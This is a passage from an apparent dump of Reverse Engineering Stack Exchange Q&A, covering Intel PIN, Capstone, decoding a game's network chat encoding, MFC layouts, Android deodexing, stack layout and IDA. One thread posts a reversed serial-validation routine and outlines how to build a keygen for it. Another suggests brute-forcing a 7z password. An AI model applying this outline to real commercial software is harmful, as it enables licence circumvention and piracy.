        "Answer": "<p>So, finally I came up with the solution that works how I want and results seem to be valid according to <a href=\"https://www.agner.org/optimize/instruction_tables.pdf\" rel=\"nofollow noreferrer\">this reference of instruction tables</a></p>\n<pre><code>fprintf(trace,&quot;\\n[%s]\\n&quot;,(INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()\nfflush(trace);\n   \nfor (UINT32 memOp = 0; memOp &lt; memOperands; memOp++)\n{\n    if (INS_MemoryOperandIsRead(ins, memOp))\n    {\n        fprintf(trace,&quot;R&quot;);\n        icount++;\n    }\n\n    if (INS_MemoryOperandIsWritten(ins, memOp))\n    {\n        fprintf(trace,&quot;W&quot;);\n        icount++;\n    }\n}\n</code></pre>\n<p>And it produces the following output:</p>\n<pre><code>[mov eax, dword ptr [ebp+0x10]]\nR\n[mov byte ptr [ebx+0x2], 0x0]\nW\n[mov byte ptr [ebx+0x7], 0x0]\nW\n</code></pre>\n<p>I cannot be sure that it is the true sequence of executable under analysis because I do output in the instrumentation phase, but the code can probably be modified it the way to write opcode inside another  INS_InsertPredicatedCall, so it will be recorded when it will be executed.</p>\n"
    },
    {
        "Id": "12367",
        "CreationDate": "2016-04-07T18:29:32.950",
        "Body": "<p>I cam using the capstone disassembly framework to disassemble intel x86 code. I need to find out which operands are read to or written from (or both). According to the website, this is possible by doing operand.access, which holds CSACREAD | CSAWRITE flags.</p>\n\n<p><a href=\"http://www.capstone-engine.org/op_access.html\" rel=\"nofollow\">http://www.capstone-engine.org/op_access.html</a></p>\n\n<p>However, if we look at the definition on github:</p>\n\n<p><a href=\"https://github.com/aquynh/capstone/blob/master/include/x86.h#L183\" rel=\"nofollow\">https://github.com/aquynh/capstone/blob/master/include/x86.h#L183</a></p>\n\n<p>no operand[0].access exists!</p>\n\n<p>What's going on? Does this feature not exist yet? Was it removed?</p>\n",
        "Title": "capstone disasm framework - check if argument read/written",
        "Tags": "|x86|capstone|",
        "Answer": "<blockquote>\n  <p>Now available in the Github branch next, Capstone provides a new API named cs_regs_access().</p>\n</blockquote>\n\n<p>This feature will be aviable in the version 4.0 of Capstone, you should switch to the <em>next</em> branch, that is already stable, to use it .</p>\n"
    },
    {
        "Id": "12374",
        "CreationDate": "2016-04-08T12:19:20.557",
        "Body": "<p>I'm trying to decode chat strings in a multiplayer game's network traffic; the way it encodes them is seemingly some arbitrary encoding. I've been analyzing the UDP traffic to the server with wireshark. My goal is to find a general algorithm to go from hex back to the original message. I'm able to get the encoded hex result for any string, so here is the most telling pair I've recorded:</p>\n\n<p>From the string</p>\n\n<pre><code>'aaa bbb ccc ddd eee fff ggg hhh iii jjj kkk\n lll mmm nnn ooo ppp qqq rrr sss ttt uuu vvv www xxx yyy zzz AAA BBB CCC'\n</code></pre>\n\n<p>(newline only for readability)\nThe result in the sent packet is this</p>\n\n<pre><code>0020   b9 b0 3c 90 **b0 b0 30 10 31 31 31 90 b1 b1 31 10\n0030   32 32 32 90 b2 b2 32 10 33 33 33 90 b3 b3 33 10\n0040   34 34 34 90 b4 b4 34 10 35 35 35 90 b5 b5 35 10\n0050   36 36 36 90 b6 b6 36 10 37 37 37 90 b7 b7 37 10\n0060   38 38 38 90 b8 b8 38 10 39 39 39 90 b9 b9 39 10\n0070   3a 3a 3a 90 ba ba 3a 10 3b 3b 3b 90 bb bb 3b 10\n0080   3c 3c 3c 90 bc bc 3c 10 3d 3d 3d 90 a0 a0 20 10\n0090   21 21 21 90 a1 a1 a1** 2a 66 10 04 20 02 34 5a 42\n</code></pre>\n\n<p>Ive marked where I think the relevant data is with asterisks.\nAs you can see, it seems that </p>\n\n<pre><code>a = b0, b = 31\nc = b1, d = 32\ne = b2, f = 33\ng = b3, h = 34\ni = b4, j = 35\nk = b5, l = 36\nm = b6, n = 37\no = b7, p = 38\nq = b8, r = 39\ns = b9, t = 3a\nu = ba, v = 3b\nw = bb, x = 3c\ny = bc, z = 3d\n</code></pre>\n\n<p>This isn't a 1:1 encoding however. Here the character for space is either 90 or 10, and it has an influence on the encoding of the previous(?) character. I'm unaware of any other characters affecting the encoding like this. </p>\n\n<p>Here is the encoding for the string 'the cat is back'</p>\n\n<pre><code>hex:       3a b4 32 90 b1 30 3a 90 b4 39 10 b1 b0 b1 35 90 \ndesired:   t  h  e     c  a  t     i  s     b  a  c  k    \nactual:    t  e  d     c  ?  t     i  r     c  a  c  j\n</code></pre>\n\n<p>Spaces have an influence on more than just the previous character here.</p>\n\n<p>Is there a pattern here? What is going on? Any help or guesses are welcome.</p>\n",
        "Title": "Is this a known encoding or cipher? (multiplayer game network traffic)",
        "Tags": "|strings|networking|",
        "Answer": "<p>Writing your example, <code>aaa b</code> in binary, and as well the encoded string, <code>0xb0 0xb0 0x30 0x10 0x31</code>:</p>\n\n<pre><code>       a        a        a      ' '        b\n01100001 01100001 01100001 00100000 01100010\n\n10110000 10110000 00110000 00010000 00110001\n</code></pre>\n\n<p>it looks like every byte of the encoded string being the original byte shift right by one bit, with the last bit of the <em>next</em> byte copied to the high order bit of the current byte.</p>\n\n<p>So, let's reverse this: if we take your encoded string, <code>3a b4 32 90 b1</code></p>\n\n<pre><code>00111010 10110100 00110010 10010000 10110001\n</code></pre>\n\n<p>shift each byte left one bit, and replace the low order bit with the high order bit from the previous byte, we get:</p>\n\n<pre><code>01110100 01101000 01100101 00100000 01100011 ...\n      74       68       65       20       63 ...\n       t        h        e      ' '        c ...\n</code></pre>\n"
    },
    {
        "Id": "12383",
        "CreationDate": "2016-04-08T20:23:52.287",
        "Body": "<p>I reverse engineered a program protection algorithm and got the result in this source file I wrote, but I would know this type of protection.\nPlease tell me what is the type of this protection ? And is there any ability to create a keygen of this algorithm ?</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nchar* transformStrip = \"123456789ABCDEFGHIJKLMNPQRSTUVWXYZ\";\n\nchar* myusername = \"MYUSERNAME\";\nchar* myserial   = \"MYSERIAL33222222222222222\";\n\n//OK\nint TransformChar(char c)\n{\n    for(int i=0;i&lt;0x22;i++)\n    {\n        if(transformStrip[i] == c)\n            return i;\n    }\n    return 0;\n}\n\n//OK\nbool MagicCalculator1(char* magicBuffer, int number)\n{\n    int a = 0;\n    //int rez = 0;\n    for (int i=0;i&lt;0x20;i++)\n    {\n        int rez = (unsigned char)magicBuffer[i];\n        rez *= number;\n        rez += a;\n        magicBuffer[i] = (unsigned char)rez;\n        if(rez &gt;= 0x100)\n        {\n            a = rez;\n            if(a &lt; 0)\n                a += 0xFF;\n            a &gt;&gt;= 8;\n        }else\n            a = 0;\n    }\n    return (bool)a;\n}\n\nbool MagicCalculator2(char* magicBuffer, int position)\n{\n    int a = 0;\n    for (int i=0;i&lt;0x20;i++)\n    {\n        int rez = magicBuffer[i];\n        a += rez;\n        rez = position + a;\n        magicBuffer[i] = (char) rez;\n        position = 0;\n        if(rez &gt;= 0x100)\n        {\n            a = rez;\n        }else\n            a = 0;\n\n    }\n    return (bool)a;\n}\n\n// sizeof(magicBuffer) = 0x20\n// OK\nint SerialMagicGenerator(char* serial, char* magicBuffer, int number)\n{\n    int serialLength = strlen(serial);\n    if (serialLength &lt;= 0)\n        return 0;\n\n    for(int i=0;i&lt;serialLength;i++)\n    {\n        char c = serial[i];\n        if (c != '\\x20' &amp;&amp; c != '\\x2D')\n        {\n            int pos = TransformChar(c);\n            if (MagicCalculator1(magicBuffer, number))\n                return -1;\n            if (MagicCalculator2(magicBuffer, pos))\n                return -1;\n        }\n    }\n    return 0;\n}\n\nunsigned short MagicValidator(char* combinedBuffer, int number)\n{\n    int c = 0;\n    if(number)\n    {\n        for(int i=0;i&lt;number;i++)\n        {\n            int rez = ((unsigned char) combinedBuffer[i]) &lt;&lt; 8;\n            c ^= rez;\n            for(int j=0;j&lt;8;j++)\n            {\n                if(c &amp; 0x8000)\n                {\n                    c += c;\n                    c ^= 0x1021;\n                }else\n                    c &lt;&lt;= 1;\n            }\n        }\n    }\n    unsigned short s = (unsigned short) ( ((c &amp; 0xFF) &lt;&lt; 8) | ((c &amp; 0xFF00) &gt;&gt; 8) );\n    return s;\n}\n\nbool UsernameMagicVerifier(char* randomizedUsername, char* magicBuffer)\n{\n    char combinedBuffer[0x20];\n    memset(combinedBuffer, 0, 0x20);\n    memcpy(combinedBuffer, randomizedUsername, 0x10);\n    memcpy(combinedBuffer + 0x10, magicBuffer, 0x10);\n    unsigned short mustHaveValue = (unsigned short) (MagicValidator(combinedBuffer, 0x1E) &amp; 0x7FFF);\n    unsigned short foundValue =    (unsigned short) ((*(unsigned short*) (magicBuffer + 0xE)) &amp; 0x7FFF);\n    return (mustHaveValue == foundValue);\n}\n\nbool FinalizerVerifier(void*a, void*b)\n{\n    //assuming this always returns true\n    return true;\n}\n\nchar RandomizedUsernameBuffer[0x10];\n\nchar* RandomizeUsername(char* username)\n{\n    memset(RandomizedUsernameBuffer, 0, 0x10);\n    int usernameLength = strlen(username);\n    if(usernameLength &gt;= 1)\n    {\n        if(usernameLength &lt; 0x10)\n        {\n            int size = (usernameLength &gt;&gt; 2) * 4;\n            memcpy(RandomizedUsernameBuffer, username, size);\n            memcpy(RandomizedUsernameBuffer + size, username + size, usernameLength &amp; 3);\n            if( usernameLength + 1 &lt; 0x10 )\n            {\n                char* ptr;\n                ptr = RandomizedUsernameBuffer + size + (usernameLength &amp; 3) + 1;\n                for(int i=0;ptr&lt;RandomizedUsernameBuffer+0x10;ptr++)\n                {\n                    if( username[i] != '\\0')\n                    {\n                        *ptr = username[i];\n                        i++;\n                    }else\n                        i = 0;\n                }\n            }\n        }\n    }\n    return RandomizedUsernameBuffer;\n}\n\nbool SerialChecker(char* username, char* serial)\n{\n    char magicBuffer[0x20];\n    memset(magicBuffer, 0, 0x20);\n    char* randomizedUsername = RandomizeUsername(username);\n    SerialMagicGenerator(serial, magicBuffer, 0x22);\n    if ( UsernameMagicVerifier(randomizedUsername, magicBuffer) )\n    {\n        return FinalizerVerifier(/*?*/NULL, /*?*/NULL);\n    }\n    return false;\n}\n\nint main()\n{\n    SerialChecker(myusername, myserial);\n    return 0;\n}\n</code></pre>\n",
        "Title": "Can a keygen be created for this protection algorithm?",
        "Tags": "|c|crackme|protection|",
        "Answer": "<p>Short, slightly snarky answer: yes, there must be a way to make a keygen. If there wasn't, the creators of the software themselves wouldn't be able to create keys to sell.</p>\n\n<p>Longer answer: If the software vendor wants the encryption to be non-identifiable for people who have reversed the decryption part, they need to use some assymetric key algorithm, where the public key is embedded into the software, and the private key stays with the vendor. There are well-known algorithms, and corresponding libraries, to do that, like RSA. However, those are not used in your program, once because they are too big, and also because they contain lookup tables which make them easily identifiable.</p>\n\n<p>From a first glance at your algorithm, there's nothing much happening that's too difficult to reverse. Your <code>RandomizeUserName</code> just seems to shuffle the bits of the user name in the same way that the keygen would; your <code>MagicCalculator</code> functions seem to check if the serial number is well-formed, for some definition of well-formed. Then, <code>MagicValidator</code> calculates what looks like a 16-bit CRC on the 16 bytes username + 14 first bytes of the serial, then compares that to bytes 15/16 of the serial.</p>\n\n<p>So, a keygen would have to:\n- perform the same calculation on a username that your <code>RandomizeUserName</code> does\n- invent 14 bytes of serial\n- generate the CRC from the randomized user name + serial, and put it into bytes 15/16\n- append 16 more bytes to the serial in a way that <code>MagicCalculator1</code> and 2 are satisfied (return 0), choose any bytes you want to achieve this\n- undo <code>SerialMagicGenerator</code> to get a serial that includes blanks and dashes just like <code>SerialMagicGenerator</code> does.</p>\n\n<p>So, with a bit of experimenting and trial-and-error, it should be very well possible to make a key generator for this.</p>\n\n<blockquote>\n  <p>Side note:</p>\n  \n  <p>I pondered for a while if it is morally ok to help someone with what\n  is clearly a precursor to software theft. Assuming, in the first\n  place, that the OP hasn't tried to invent a protection algorithm\n  himself, and opened this question to check how \"strong\" his protection\n  is. Unfortunately, even now in 2016, there seem to be lots of\n  programmers - and college spits out more of them every year - who\n  think that \"shuffle a few bits around, pepper with some self-invented\n  maths, and compile to machine language\" makes whatever they want to\n  achieve hard to crack. Of course, we of RE.SE all know it doesn't.</p>\n  \n  <p>In this case, the OP obviously isn't too experienced in reversing, or\n  he wouldn't have asked the question; still, he arrived at a point\n  where he's obviously 1-2 hours away from a working keygen. In\n  answering the question the way I did, i hope to make it obvious that\n  all the bit-shuffling in the \"protection\" algorithm won't help much.\n  <strong>If you want to prevent people from creating key generators for your software, use asymmetric encryption, and make sure your private key\n  doesn't get leaked</strong>, and if only one future \"software protection\n  coder\" reads this example and learns from it, then my answer will have\n  served its purpose.</p>\n</blockquote>\n"
    },
    {
        "Id": "12385",
        "CreationDate": "2016-04-08T21:47:57.723",
        "Body": "<p>I have an old computer game I want to reverse (Windows 95 \"Hover!\" to be exact), and I figured out that it uses the MFC.</p>\n\n<p>HexRays often decompiles pseudocode like this, which, for example, deals with an MFC class <a href=\"https://msdn.microsoft.com/en-us/library/48xz4yz9.aspx\" rel=\"nofollow noreferrer\"><code>CWinThread</code></a>:\n<a href=\"https://i.stack.imgur.com/iRS4F.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iRS4F.png\" alt=\"IDA MFC code pseudocode\"></a></p>\n\n<p>As you can see, the variable <code>this</code> is the <code>CWinThread</code> instance, but the layout of it seems undefined, it accesses its members through offsets.</p>\n\n<p>I want / need to find out which members are at which offsets.</p>\n\n<p>Even while easy to guess in the marked example (+48 seems to be the peeked message), there's another member slightly more below at offset +60 about which I have no clue. I searched the MSDN documentation and looked into the header file to find a layout of the class, but couldn't find anything that helped me.</p>\n\n<p>Where would I retrieve such member / memory layout information about MFC classes?</p>\n",
        "Title": "Reversing an MFC application: How to find class memory layouts?",
        "Tags": "|hexrays|mfc|",
        "Answer": "<p>In order to easily import the information into IDA it's possible to:</p>\n\n<ul>\n<li>Download Visual C++ and MFC (ideally the same version)</li>\n<li><p>Make a very small C++ file which contains the definition of the type, for example:</p>\n\n<pre><code>#include &lt;afxwin.h&gt;\n</code></pre>\n\n<p>(you can verify that <code>afxwin.h</code> header indeed contains the definition of the class) Assume the file is saved as <code>a.cpp</code></p></li>\n<li><p>Compile it. (it's not necessary to link)</p>\n\n<pre><code>cl /c /EHsc /Zi a.cpp\n</code></pre>\n\n<p>The <code>/Zi</code> flag is important, it instructs the compiler to generate debug info.</p>\n\n<p>Along with <code>a.obj</code>, a <code>vcXXX.pdb</code> file should also be generated (can be <code>vc80.pdb</code>, <code>vc100.pdb</code>, <code>vc140.pdb</code>, etc. depends on the compiler version)</p></li>\n<li>Enter IDA, open the project, choose <code>File -&gt; Load file -&gt; PDB file...</code>, then load that PDB file. Optionally enable <code>Types only</code></li>\n</ul>\n\n<p>The types should appear in the \"Local Types\" tab now.</p>\n"
    },
    {
        "Id": "12389",
        "CreationDate": "2016-04-09T10:48:52.847",
        "Body": "<p>The intel PIN manual (section Memory Reference Trace) says:</p>\n\n<blockquote>\n  <p>We also use <code>INS_InsertPredicatedCall</code> instead of <code>INS_InsertCall</code> to\n  avoid generating references to instructions that are predicated when\n  the predicate is false <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/index.html#MAddressTrace\" rel=\"nofollow\">see here.</a></p>\n</blockquote>\n\n<p>_</p>\n\n<blockquote>\n  <p>When the instruction has a predicate and the predicate is false, the\n  analysis function is not called <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/group__INS__INST__API.html#g446df8cbefd4950b78cba7c9e7346053\" rel=\"nofollow\">see here.</a></p>\n</blockquote>\n\n<p>If I want to analyze all instructions that are actually executed, which of the two shall I pick?</p>\n\n<p>I assume <code>INS_InsertPredicatedCall</code> but I am not sure because I have seen <code>INS_InsertCall</code> more often. But why would somebody use it, i.e., why would somebody want to analyze instructions </p>\n\n<blockquote>\n  <p>that are predicated when the predicate is false</p>\n</blockquote>\n\n<p>? Maybe a minimal example of how the two functions lead to different results would be helpful here...</p>\n",
        "Title": "Intel PIN: InsertPredicatedCall and INS_InsertCall",
        "Tags": "|assembly|x86|instrumentation|pintool|",
        "Answer": "<p>You are correct, we should use <code>INS_InsertPredicatedCall</code> instead of <code>INS_InsertCall</code> in your case. It is quite intuitive to distinguish one from the other, consider the following code</p>\n\n<pre><code>cond:\n  xor eax, eax\n  mov edx, 0x1\n  cmp word [esp + 0x4], 0x5\n  cmovz eax, edx\n  ret\n</code></pre>\n\n<p>whose <code>C</code> code is something likes</p>\n\n<pre><code>int cond(int input)\n{\n  return input == 0x5 ? 1 : 0;\n}\n</code></pre>\n\n<p>If you use <code>INS_InsertCall</code> to trace executed instructions of <code>cond(input)</code>, then <strong>for any value</strong> of <code>input</code>, you observe always the trace:</p>\n\n<pre><code>xor eax, eax\nmov edx, 0x1\ncmp word [esp + 0x4], 0x5\ncmovz eax, edx\nret\n</code></pre>\n\n<p>But if you use <code>INS_InsertPredicateCall</code>, then for <code>input != 0x5</code>, you will observe only:</p>\n\n<pre><code>xor eax, eax\nmov edx, 0x1\ncmp word [esp + 0x4], 0x5\nret\n</code></pre>\n\n<p>since <code>cmovz</code> is a predicated instruction, it is executed only if <code>ZF = 1</code>.</p>\n"
    },
    {
        "Id": "12393",
        "CreationDate": "2016-04-11T08:23:19.220",
        "Body": "<p>I'm trying to reverse engineer certain Samsung system apps in the Galaxy S6 firmware system image, such as KnoxAttestationAgent.apk. I'm a noob when it comes to reverse engineering, and so far my attempts have been unsuccessful. Here's what I've done so far.</p>\n\n<ul>\n<li>Run apktool on the APK. I got a few XML files, including the AndroidManifest, but no source. Apparently this is because there is no classes.dex in the package.</li>\n<li>Noticing that there's a KnoxAttestationAgent.odex in the arm64/ folder, I tried to run baksmali 2.1.1 on it. However, this version apparently doesn't support Android 5 versions of oat. The S6 firmware I'm working on is 5.1.1.</li>\n<li>I tried an earlier version of baksmali 2.0.8 which doesn't have the limitation, but I get another error \"KnoxAttestationAgent.odex is not an apk, dex file or odex file.\"</li>\n<li>I tried to run AndroGuard on the APK, but was also unsuccessful. A bunch of errors.</li>\n</ul>\n\n<p>Is there a way for these tools (or others) to work on system apps such as the Samsung Knox ones?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Reverse engineering Android vendor system apps",
        "Tags": "|android|apk|",
        "Answer": "<blockquote>\n  <p>Run apktool on the APK. I got a few XML files, including the\n  AndroidManifest, but no source. Apparently this is because there is no\n  classes.dex in the package.</p>\n</blockquote>\n\n<p>That's because these are odexed apps: when an app is odexed, the classes.dex is extracted from the apk.</p>\n\n<blockquote>\n  <p>I tried an earlier version of baksmali 2.0.8 which doesn't have the limitation, but I get another error \"KnoxAttestationAgent.odex is not an apk, dex file or odex file.\"</p>\n</blockquote>\n\n<p>That's right, because the .odex file is not an apk. An odex file is basically an optimized version of the classes.dex</p>\n\n<p>So, in order to disassemble this app, you have to deodex it.</p>\n\n<p>Here is an HOW-TO guide (I haven't tested it personally): <a href=\"http://www.naldotech.com/how-to-deodex-applications-on-android-5-0-lollipop/\" rel=\"nofollow\">http://www.naldotech.com/how-to-deodex-applications-on-android-5-0-lollipop/</a></p>\n\n<p>Eventually, if you follow all the steps correctly, you will have an apk ready to be reversed using APKTool. \nGood luck.</p>\n"
    },
    {
        "Id": "12397",
        "CreationDate": "2016-04-11T12:10:40.047",
        "Body": "<p>Stack layout is well documented in many ways. Especially for <em>x86</em> systems as there were numerous tutorials on how to exploit stack overflow on old 32-bit systems many years ago.</p>\n\n<p>So far we can know that on a 32-bit system, the user stack starts from <em>0xc0000000</em> address (which is the limit between usermode and kernelmode).</p>\n\n<p>This address is not the same if we take an <em>Elf32</em> running on a <em>x86-64</em> linux system.</p>\n\n<p>I cannot find this address but I can figure out it is <em>0xffffe000</em> thanks to gdb:</p>\n\n<p><code>(gdb) x $esp\n0xffffd4bc: 0xf7e16a83\n(gdb) x/w 0xffffdffc\n0xffffdffc: 0x00000000\n(gdb) x/w 0xffffe000\n0xffffe000: Cannot access memory at address 0xffffe000\n</code></p>\n\n<p>We can actually see that the <em>0xffffe000</em> address points to an invalid location (or at least the process doesn't have proper permission to access this memory page).</p>\n\n<p>Yet I cannot especially find a relevant source that tells us that <strong>the gnu stack of a x86 program on a x64 linux starts from 0xffffe000</strong>. Am I doing things wrong?</p>\n\n<p>I can find sources telling us about <em>linux-gate.so.1</em> but I do not think this is the point here.</p>\n\n<p>Any ideas, reversers?</p>\n",
        "Title": "32-bit binary stack layout on a x64 Linux OS",
        "Tags": "|linux|x86-64|",
        "Answer": "<p>The valid stack access range of a (32 or 64 bit) process can be viewed by looking into its <em>memory map</em>. We can observe the memory map of a process with id <code>pid</code> by <code>cat /proc/pid/maps</code>, an example of a <code>32-bit process</code> on my 64-bit box:</p>\n\n<pre><code>...\n09b58000-09b79000 rw-p 00000000 00:00 0                    [heap]\n...\nf7785000-f7787000 rw-p 001c7000 00:23 592106               /usr/lib/libc-2.20.so\n...\nf77c2000-f77c4000 r--p 00000000 00:00 0                    [vvar]\nf77c4000-f77c5000 r-xp 00000000 00:00 0                    [vdso]\n...\nf77e8000-f77e9000 rw-p 00022000 00:23 592099               /usr/lib/ld-2.20.so\nfff9b000-fffbc000 rw-p 00000000 00:00 0                    [stack]\n</code></pre>\n\n<p>Then the valid range for <code>stack</code> is <code>[0xfff9b000, 0xfffbc000)</code>, memory access to an address higher or equal than <code>0xfffbc000</code> will trigger <code>memory access violation</code> exception. According to <a href=\"https://lwn.net/Articles/631631/\" rel=\"nofollow\" title=\"How programs get run: ELF binaries\">this article</a>, this range is calculated when the kernel <a href=\"http://lxr.free-electrons.com/source/fs/binfmt_elf.c?v=3.18#L571\" rel=\"nofollow\">maps the binary into the memory</a>, and by <a href=\"http://lxr.free-electrons.com/source/fs/binfmt_elf.c?v=3.18#L555\" rel=\"nofollow\">several</a> <a href=\"http://lxr.free-electrons.com/source/fs/exec.c?v=3.18#L640\" rel=\"nofollow\">functions</a>, the interesting input for them is <a href=\"http://lxr.free-electrons.com/source/arch/x86/include/asm/processor.h?v=3.18#L840\" rel=\"nofollow\"><code>STACK_TOP</code></a> which is defined by <code>TASK_SIZE</code> for <a href=\"http://lxr.free-electrons.com/source/arch/x86/include/asm/processor.h?v=3.18#L834\" rel=\"nofollow\">32-bit processes</a>.</p>\n"
    },
    {
        "Id": "12398",
        "CreationDate": "2016-04-11T14:35:06.640",
        "Body": "<p>I'm writing a parser for some xml scenario files.\nAmong other cleartext info there is a node 'Scenario_Compressed' which i like to analyse.\nI've uploaded the content here:\n<a href=\"http://www.lunex.net/temp/compstr.txt\" rel=\"nofollow\">http://www.lunex.net/temp/compstr.txt</a></p>\n\n<p>can anybody of you help me identifing the type of compression?</p>\n\n<p>thanks in advance\nLunex</p>\n",
        "Title": "Need help with compressed string of unknown format",
        "Tags": "|windows|decompress|",
        "Answer": "<p>As @w4rex said, it definitely looks like base64. If you try to decode it like a regular base64 string, you end up with :</p>\n\n<pre><code>37 7a bc af 27 1c 00 03 d8 a0 33 34 30 78 00 00       7z..............\n</code></pre>\n\n<p>You recognize the '<strong>7z</strong>' magic of a 7zip file, and it's indeed a 30Ko archive containing a single file of 363Ko named 'default'. The file is password-protected though, so you could try to either brute-force it or reverse the application generating this file to find the password.</p>\n"
    },
    {
        "Id": "12404",
        "CreationDate": "2016-04-11T19:39:11.400",
        "Body": "<p>A typical PIN code snippet looks like this (taken from the <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/index.html#IAddressTrace\" rel=\"nofollow\">official manual</a>):</p>\n\n<pre><code>// This function is called before every instruction is executed\n// and prints the IP\nVOID printip(VOID *ip) { fprintf(trace, \"%p\\n\", ip); }\n\n// Pin calls this function every time a new instruction is encountered\nVOID Instruction(INS ins, VOID *v)\n{\n    // Insert a call to printip before every instruction, and pass it the IP\n    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);\n}\n</code></pre>\n\n<p>I just can't figure out how to access the <code>ins</code> object from within <code>printip(VOID *p)</code>. The other way round seems easy, i.e. getting the IP from from the <code>ins</code> object:</p>\n\n<p><code>INS_Address (INS ins)</code>(see <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/group__INS__BASIC__API__GEN__IA32.html#gd3b5f975c84b126531b38930b94b5544\" rel=\"nofollow\">here</a>)</p>\n\n<p>I tried passing a <code>INS *ins</code> pointer to <code>printip(VOID *ip, INS *ins)</code> ins via <code>IARG_PTR, &amp;ins</code> but this ended in either casting errors or Segmentation faults.</p>\n\n<p>How can I access the <code>ins</code> object (type <code>INS</code>) from inside an analysis function?</p>\n\n<p><strong>Side note:</strong> I got to this problem when trying to call <code>INS_Disassemble (INS ins)</code> for every executed instruction.</p>\n",
        "Title": "Intel PIN: How to access the INS object from inside an analysis function?",
        "Tags": "|c++|pintool|",
        "Answer": "<p>typedef class INDEX&lt;6> INS; is defined in types_core.TLH (types not type). The following code works for me to disassamble at analysis time. </p>\n\n<pre><code>void disasmIns(ADDRINT tid, ADDRINT insarg)\n{\n  INS ins;\n  ins.q_set(insarg);\n  std::cout &lt;&lt; \"Disassembly: \" &lt;&lt; INS_Disassemble(ins) &lt;&lt; std::endl;\n}\n\nVOID Instruction(INS ins, VOID *v) {\n  INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)disasmIns, \n  IARG_FAST_ANALYSIS_CALL, IARG_ADDRINT, ins.q(), IARG_END);\n}\n</code></pre>\n"
    },
    {
        "Id": "12419",
        "CreationDate": "2016-04-12T15:07:54.600",
        "Body": "<p>In a recent assignment, I disassembled a binary written in C++.<br>\nIn a few places throughout the program I came across shift operations by zero bits something like written below (The exact code/IDA isn't in front of me presently).  The shift operations were all before a conditional branch. </p>\n\n<pre><code>...\ncall sub_123456\nadd esp, 8\nshr eax, 0\ncmp ...\njz ...\n</code></pre>\n\n<p>I have a decent understanding of assembly but I can't see why you'd do a bit shift of zero.  Isn't this essentially a NOP?  I've been looking for info on this but haven't come up with any definitive information.  My guess is it's added by the compiler for some reason, though I'd like to understand why.  The assignment is already submitted; this is just a question that's been nagging at me.  Any input would be appreciated!  </p>\n\n<p>Thanks</p>\n",
        "Title": "What's the purpose of arithmetic shifts by zero bits?",
        "Tags": "|disassembly|x86|c++|",
        "Answer": "<p>Maybe an optimizing compiler wants the next instruction to start on a 4 byte boundary, e.g. if the next instruction is the destination of a jump in an inner loop.  And maybe this one 3-byte instruction is faster than three consecutive one-byte NOPs.</p>\n"
    },
    {
        "Id": "12432",
        "CreationDate": "2016-04-13T12:18:19.650",
        "Body": "<p>I'm looking for a way to get the addresses of all the functions in a DLL in the .text section. Is there a way to do it without using a disassembler and moving through the commands? How does IDA know to identify all the functions, even if their start is not the regular \"push ebp, mov ebp esp\"?</p>\n\n<p>Thanks!</p>\n",
        "Title": "How to find all functions in DLL",
        "Tags": "|ida|disassembly|pe|functions|",
        "Answer": "<p>You can get a list of all <em>exported</em> functions just by reading the PE headers. But, that won't give you any function names, or expected arguments lists (*), and it won't give you any functions that are internal to the DLL.</p>\n\n<p>In the general case, the only thing you can do is start with exported functions, disassemble from there, follow <code>jmp</code>s, and mark everything that's <code>call</code>ed as a new function and process it in the same way that you process the exported stuff. This is basically what IDA does.</p>\n\n<p>As C0000022L mentioned, this is in no way trivial, especially with C++ methods that are never called directly, but only through vtable pointers, which is why even IDA gets this kind of stuff <em>mostly</em> right, but not <em>completely</em> right.</p>\n\n<p>Ida has another feature though, named FLIRT -  it has a database that has signatures of standard library functions for many different compilers. Which is why it can, often, identify standard library function names. But as far as i know, this is a second pass thing; first IDA identifies functions by being called from somewhere, then tries to assign names to those functions using FLIRT. Of course, this helps with standard library functions ONLY, and building this kind of database certainly needs a lot of work as well.</p>\n\n<p>(*) If you're lucky, functions will be exported by name, and if you're very lucky, and the DLL was written in C++, the function name will include the signature. So there are cases when the export list is valuable. But this isn't the generic case, when a function might just be exported by ordinal.</p>\n"
    },
    {
        "Id": "12433",
        "CreationDate": "2016-04-13T12:42:58.773",
        "Body": "<p>Suppose you have code like this (and you don't want to shell out the amount for the HexRays decompiler plugin):</p>\n\n<pre><code>loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j\n                push    50505050h       ; Tag\n                push    1234h           ; NumberOfBytes\n                push    ebx             ; PoolType\n                call    ds:ExAllocatePoolWithTag\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n</code></pre>\n\n<p>Now for these cases I tend to write IDC scripts that collapse the <code>push</code>, <code>push</code>, <code>push</code>, <code>call</code> into a single hidden area.</p>\n\n<p>However, since the hidden areas in IDA seem to be based on the address and the first <code>push</code> is a \"named location\", the indication that this is a label gets lost when I \"name\" my hidden area with descriptive pseudo-code, like this:</p>\n\n<pre><code>; eax := ExAllocatePoolWithTag(ebx, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n</code></pre>\n\n<p>and if I can deduce the value of <code>ebx</code>, as would be possible here, I'd even convert that into:</p>\n\n<pre><code>; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n</code></pre>\n\n<p>Is there <strong>any</strong> way, short of starting my hidden area <em>after</em> the first <code>push</code>, that would allow me to hide the instructions and replace them with more descriptive pseudo-code, while at the same time <em>retaining</em> the label/name that coincides with the passing of the (last) argument?!</p>\n\n<p>That is, my goal is to have it something like:</p>\n\n<pre><code>loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j\n; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')\n                cmp     eax, ebx\n                jz      short loc_4BEEFF\n</code></pre>\n\n<p>(the comment behind the <code>loc_4BEEEF</code> label is <em>not</em> important to me, though)</p>\n\n<p>Of course allocation is but one of the cases where this applies and where the first pushed (i.e. last) argument ends up at a named location.</p>\n",
